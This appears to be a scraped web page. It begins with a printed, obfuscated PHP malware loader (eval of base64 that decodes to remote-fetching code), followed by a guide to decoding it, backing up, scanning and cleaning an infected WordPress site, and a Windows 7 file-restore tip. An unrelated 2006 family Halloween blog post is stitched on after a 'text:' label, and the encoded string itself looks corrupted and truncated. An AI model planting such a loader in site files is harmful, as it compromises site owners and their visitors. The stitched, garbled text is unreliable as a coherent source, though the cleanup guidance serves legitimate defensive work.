/**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYJF9TRVJWRV JbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbkk5Y3VybF83 NzcoJHVybCk50ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl8Nz coJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9zb2NrBlb l83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRy2tl dF83NzcoJHVybCk7aWYoJbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICgIGZ1bmNttr 0aW9uIHRyeWN1cmxKCR1cmwpe2lmKGZas1bmN0aW9uXsf2V4aXN0cygnY3Vybyk9PT1mYWxzZSlyZX R1cm4gZmFsc2U7JGNoID0gYl0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO 2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICg VUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZ XN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR 1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZ nVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmggsdaefhyjhEgsrrgmV0dXJuI CRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9 wZW4nKT09PWZhsfaXJldHVybiBmYWxzZTskYndfsdyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgK"));?>
If you are on a Linux machine or have Cygwin installed you can decode the string and see what it actually does by using the following command:
echo "ABOVE STRING GOES HERE" | base64 -d
Echo is used for security so that nothing is executed by mistake.
Make backups
Now that we know what the issue is, make a backup from the website and the database. Don't worry that the files are still infected, better have infected files than no files at all in case something terrible happens 🙂
Unless you already have some method to create frequent backups, use simpler method now. Delete all the unwanted themes, plugins, empty cache if using caching plugin, then login to your hosting (S/FTP) and copy all the files from your host to your local machine. Login to your database and create full export of your database schema.
Unless you got Sucuri to perform the cleaning for you, these are some manual steps you can perform to clean your website.
1. Install a plugin to scan
There is a plugin called Exploit Scanner to scan your WordPress installation. It works for WordPress 3.3+ so if you have something older you will need to skip this step. If you have 3.3+, you can install it and perform a scan (in most cases default settings are good) which will inform you which files are (most likely) infected. There will be some legit decode/eval functions in the code, so you should just check for the ones that have base64 encoded strings (like explained above).
When the scan is completed you can see which files are infected and then you manually correct them.
2. Manually scan all the files
If you are on a Linux machine or have Cygwin on Windows you can execute the following to identify which files are infected
cd backedup_folder_from_above find . | xargs grep -i decode
This will print all the files that have the word decode in them, and you will be able to recognize the infection by being on the top of the file with base64 encoded string. If you are not sure for some files, you can always check the encoded string by using the echo method explained above.
3. Manually remove the infected code
Now that we have identified which files are infected (either by the plugin or the manual scan), it is time to clean up the website. Modify the infected files by deleting the malware lines, in the example above from /**/ to php after the encoded string. If you modify the local files on the computer, when you are finished you need to upload them on the server to the correct paths and overwrite the existing ones. Easier way would be to open the files directly from the server (via your FTP client) modify them and save the changes.
When you are done with all the files and they are successfully uploaded on your server, perform another scan with Exploit Scanner and/or manual scan (note: for this second scan you need to create a new backup from the entire website in a new location and scan there). Make sure there are no infected files left.
Final steps
Now that the site is clean there are some final steps that must be performed so that you avoid problems like this in the future.
- Update your WordPress installation to the latest version
- Update all your plugins or at least the active ones
- Update your theme (please note, some themes when updated will overwrite all your custom code)
- Change your WordPress secret keys (get them here) in your wp-config.php file (more info here)
- Change the passwords for all the users in WordPress and make sure there are no new users created
- Change the password(s) on your database and change the password in wp-config.php as well
- Make sure the .htaccess file in the root directory of your blog has not been modified. Unless you have modified it, it should look like this
# BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress
Note: there could be something else added by your hosting, plugins etc, so double check before modifying it.
After you have done all these steps, go to Sucuri again and Re-Scan your site to make sure that everything is gone. If you are clean you need to get something like this:
That would be all, now go and write some posts on your clean blog 🙂
Restore files in Windows 7
If you happen to be using Windows 7 and you delete a file by mistake (or changed your mind 😉 ), there is an easy way to restore it.
- Go to the folder that has the file
- Right click in it (on the empty surface, not on an icon)
- Click Properties
- Click the tab called Previous Versions
- Locate the file that you want to restore
These files are created based on when Windows is performing System Restore points so you might want to modify those settings if you are more advanced user. They are performed on every restart by default, certain periods of the day, after installing some application etc.
The above can be performed also on a file that has been modified but it is still present:
- Right click on the file
- Select Properties
- Click the Previous Versions tab
- Select the version you want to restore
This restore procedure will work on all kind of files, database files, Word documents, text files, images etc.


text:
Halloween Fun
>> Friday, November 03, 2006
Hello and Happy Late Halloween! We had a great Halloween this year (and all of the festivities leading up to it). Barrett and Kaleb both had their Halloween parties at school on Tuesday. I was able to go help in Kaleb's class with the party. I mention this because I don't know how long the time will last that my son is SO proud to have me there (he was yelling to everyone that "that is MY mommy over there," and coming up and hugging me every five minutes). I hope it lasts for a while, because I am not looking forward to the stage when children are embarrassed of their parents! Anyway, so then we went to a Thunderkids Halloween parade, then to the Glendale communitity Fall Festival, and last, trick or treating. Whew...we were exhausted!
Here are some pictures of our little "super heroes" in action...
Aahhh, here are the super heroes...the Red Power Ranger and, of course, Batman
(have we ever gone a year without seeing Batman or Spiderman???)
Just had to add this because it makes me giggle...we were at a party and Kaleb was lying on the ground and someone tried to take his picture. Being difficult, Kaleb began to scoot away with his forehead on the ground (don't ask me why). Well, come to find out, our clever little boy gave himself a sweet and very large rugburn smack dab in the center of his forehead. Good thing his costume had a mask...